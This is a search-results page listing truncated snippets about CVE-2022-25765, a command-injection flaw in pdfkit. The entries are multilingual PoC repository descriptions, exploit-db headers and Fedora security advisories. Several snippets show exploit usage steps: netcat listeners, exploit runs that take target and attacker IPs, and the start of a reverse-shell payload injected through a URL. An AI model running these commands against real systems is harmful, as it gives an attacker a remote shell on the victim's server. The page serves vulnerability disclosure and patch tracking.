19 matches found
PDFkit-CMD-Injection
PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 python3 -m http.server 80 启动一个 netcat 监听器 nc -nlvp 4444 使用 CURL 发送请求 curl 'TARGETADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 X1...
exploit-CVE-2022-25765
CVE-2022-25765 pdfkit のエクスプロイト - コマンドインジェクション このリポジトリが気に入りましたか？ ⭐を付けてください！ 教育および許可されたセキュリティ研究目的のみに使用してください。 エクスプロイト作成者 @UNICORDev @NicPWNs と @Dev-Yeoj 作 脆弱性の説明 pdfkit パッケージ（0.0.0以降）は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 エクスプロイトの説明 Ruby gem pdfkit は、ウェブサイトや HTML を PDF...
CVE-2022-25765
CVE-2022-25765 エクスプロイト CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection 使用方法 1. 攻撃マシンで netcat リスナーを起動します: nc -lvnp 4444 2. エクスプロイトを実行します: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 例: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 パラメータ:...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 1- python3 -m http.server 80 netcat リスナーの起動 2- nc -lnvp 'Target Port' リクエストの送信 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...
CVE-2022-25765
CVE-2022-25765 — pdfkit CVE-2022-25765 のPoC。脆弱なバージョンの pdfkit に影響します。 pdfkit 0.8.6 でテスト済みです。 要件 Python 3.x requests colorama 依存関係をインストールします: pip3 install -r requirements.txt または手動で: pip3 install requests colorama 使用方法 python3 exploit2.py -u -l -p 例: リスナーを実行します nc -lvnp 4242 python3 exploit2.py -u...
PDFkit-CMD-Injection-CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 における CVE-2022-25765 コマンドインジェクションのエクスプロイト 脆弱性の詳細はこちらをご覧ください PoC ホスト上でnetcatを実行: $ nc -lvnp 1337 エクスプロイトを実行（例）: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost Input address for reverse conne...
CVE-2022-25765
CVE-2022-25765 CVE-2022-25765 の Blind RCE PoC HTB - Precious Machine でテスト済み...
Exploit for CVE-2022-25765
CVE-2022-25765 — Command Injection in pdfkit Descripción...
Fedora 37 : rubygem-pdfkit (2022-c0d55cd527)
The remote Fedora 37 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2022-c0d55cd527 advisory. New version 0.8.7.2 is released. ---- New version 0.8.7.1 is released. ---- Update to 0.8.7. This new release fixes CVE-2022-25765. Tenable has extracted the...
pdfkit v0.8.7.2 - Command Injection
!/usr/bin/env python3 Exploit Title: pdfkit v0.8.7.2 - Command Injection Date: 02/23/2023 Exploit Author: UNICORD NicPWNs & Dev-Yeoj Vendor Homepage: https://pdfkit.org/ Software Link: https://github.com/pdfkit/pdfkit Version: 0.0.0-0.8.7.2 Tested on: pdfkit 0.8.6 CVE: CVE-2022–25765 Source:...
pdfkit 0.8.7.2 Command Injection
!/usr/bin/env python3 Exploit Title: pdfkit v0.8.7.2 - Command Injection Date: 02/23/2023 Exploit Author: UNICORD NicPWNs & Dev-Yeoj Vendor Homepage: https://pdfkit.org/ Software Link: https://github.com/pdfkit/pdfkit Version: 0.0.0-0.8.7.2 Tested on: pdfkit 0.8.6 CVE: CVE-2022–25765 Source:...
Exploit for CVE-2022-25765
Exploit for CVE-2022-25765 pdfkit - Command Injection !Git...
Exploit for CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 Exploit for CVE-2022-2...
Fedora 36 : rubygem-pdfkit (2022-3ec8272e72)
The remote Fedora 36 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2022-3ec8272e72 advisory. Update to 0.8.7. This new release fixes CVE-2022-25765. Tenable has extracted the preceding description block directly from the Fedora security advisory. Not...
Fedora 35 : rubygem-pdfkit (2022-6da143f1a2)
The remote Fedora 35 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2022-6da143f1a2 advisory. Update to 0.8.7. This new release fixes CVE-2022-25765. Tenable has extracted the preceding description block directly from the Fedora security advisory. Not...
CVE-2022-25765
creationtimestamp| type| source ---|---|--- 2022-12-04 21:05:25+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/3527 2022-12-06 04:04:20+00:00| published-proof-of-concept| https://t.me/crackcodes/1638 2022-12-06 06:38:55+00:00| published-proof-of-concept| https://t.me/simosaper/748...
Fedora: Security Advisory for rubygem-pdfkit (FEDORA-2022-c0d55cd527)
The remote host is missing an update for the Copyright C 2022 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...
CVE-2022-25765
CVE-2022-25765 affects pdfkit (Ruby gem) with command injection in which pdfkit passes the user-supplied URL straight to wkhtmltopdf, allowing shell interpretation via backticks. Exploitation details show RCE via crafted URLs (e.g., http://example.comcmd), with multiple public PoCs/exploits and a...
